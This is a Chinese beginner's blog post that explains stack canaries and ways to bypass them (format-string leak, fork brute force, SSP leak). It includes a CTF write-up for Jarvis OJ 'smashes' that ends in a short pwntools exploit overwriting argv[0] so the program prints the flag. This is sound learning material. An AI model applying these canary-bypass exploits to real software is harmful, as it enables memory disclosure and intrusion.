canary入门小总结(遇到的新题型:jarvis oj pwn smashes解题以及一些基础了解)

今天的我还是在做pwn题,没怎么看书。本来今天打算做picoCTF的pwn题的,无奈怎么也连不上它的shell。(难受)然后去Jarvis OJ 做pwn题去了。
题目挑着做,总共只做了两题。第一题是简单的栈溢出。第二题就很有趣了,是我没遇过的题
看网上大神们写的writeup叫做canary。
做完题目后稍微去搜索了一下关于这种题目的资料。(这里吐槽一下有些写writeup的博主,本来就是新手题,找writeup看怎么做,然后,很多都是两三句带过,然后列个exploit。是真的难。)
这里贴一下一个jarvis OJ pwn写得很详细的很友好的博文:https://www.jianshu.com/p/6afc68389901
大神牛批。

canary参考链接:

https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/
https://www.jianshu.com/p/d715b942db36
https://www.52pojie.cn/thread-932096-1-1.html

一个新知识点还是得稍微仔细看一下才会有点记忆。

canary介绍

canary是一个用来防止栈溢出的值。在不同的程序里面大小不定。(32位程序里面是4个字节,在64位程序里面是8个字节)一般来说,以32位程序来说,函数调用的时候会先把压入函数返回地址(4个字节),然后压入EBP的值,再参数压入堆栈。但是如果加了canary的程序会多了一步(一般来说是这样,但是程序设计者也可以改,所以情况不唯一)。
步骤如下:函数返回地址入栈,EBP值入栈,canary值入栈,参数入栈。

## canary工作原理
我们在利用栈溢出漏洞时会把栈用一些无意义的数填充。这就意味着,如果这些值会改写canary的值,而程序会比较canary前后的值,以此来判断是否有栈溢出发生。如果发现不相等的话。程序会调用__stack_chk_fail函数,然后打印arg[0]里面的指针所指向的字符串,一般是程序名。

特别说明:有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。(这段来自这篇博文:https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/)

由此产生了几种比较常见的绕过canary方法

①格式化字符串绕过canary

这个比较容易理解,通过格式化字符串,我们可以把canary的值直接拿到,然后在构造栈溢出payload的时候,可以在canary的位置填上这个值,而不是用无意义的字符填充。那么,在后面程序检查的时候,canary的值会通过验证,但实际上我们还是做到了栈溢出,这样子就成功的绕过了canary了。

②针对fork()函数的绕过

注意看上面的特别说明,当没有格式化字符串漏洞的时候,我们没办法直接获得canary的值,但是我们可以逐步地验证,最后得到canary的值。(仔细看第一个链接的第二个例子)

③ssp攻击(故意触发canary)

这题有个实例今天做过,所以就着重用例子来讲一下自己的理解。

首先这个方法的主要思路就是故意触发canary,让程序去执行__stack_check_fail函数,我们改写arg[0]里面的指针,让arg[0]指向flag字符串所在的地方。

题目地址:https://www.jarvisoj.com/challenges(pwn里面的smashes)

下载附件,查看文件信息(下载下来的文件我改名为smashes):
(canary found)
在这里插入图片描述
IDA pro载入程序,F5查看反编译代码,发现有栈溢出漏洞
在这里插入图片描述
在这里插入图片描述
shift+F12查看字符串,没有sysytem,没有/bin/sh,发现有一个字符串提示CTF{Here’s the flag on server},

在这里插入图片描述
结合前面的_IO_gets函数我们有个思路就是栈溢出,改写返回地址,让后让它显示flag。
但是我们没有找到类似printf的函数。这时候我们发现有canary的存在,如果我们改写arg[0]的值为flag字符串的位置就可以把flag打印出来。

用gdb调试smashes文件(装了pwndbg)

gdb smashes

为了找到arg[0]的地址,我们在__libc_start_main函数下个段
在这里插入图片描述
然后 r 执行,发现arg[0]的地址为arg_addr = 0x7fffffffdf88
在这里插入图片描述
接着我们得计算 v3和arg[0]的偏移量,找到__IO_gets函数的地址为0x40080e
在__IO_gets函数下个断点,然后 r 运行,再查看rsp的值。(这一部我没查怎么运行到下一个节点,所以我是退出了gdb重进,然后做这个步骤)
找到v3的地址 v3_addr = 0x7fffffffdd70
在这里插入图片描述
在这里插入图片描述
偏移量就是 arg_addr - v3_addr

接着我们要去找flag的地址。
仔细查看反编译代码,会发现,程序会把第二个输入的字符串,也就是v4的值,覆盖到flag所在的位置。
但是flag所在的位置不止一处,我们可以试着寻找别的flag地址。

找到menset函数的地址:0x400873
在这里插入图片描述
在这里插入图片描述
重开gdb smashes
在_menset函数设一个断点
然后查找含有PCTF的字符串,发现地址 0x400d20 的字符没有被改变。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
于是就可以写exploit了

from pwn import *

io = remote("pwn.jarvisoj.com",9877)
io.recvuntil("name?")
arg_addr = 0x7fffffffdf88
name_addr = 0x7fffffffdd70
flag_addr = 0x400d20    #don't change

payload = "a"*(arg_addr-name_addr)+p64(flag_addr)
io.sendline(payload)
io.recvuntil('flag: ')
io.sendline('bb')
data = p.recv()
print data
io.interactive()

最后运行exploit就可以得到flag了。

希望新手的我能坚持下去,peace!!!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值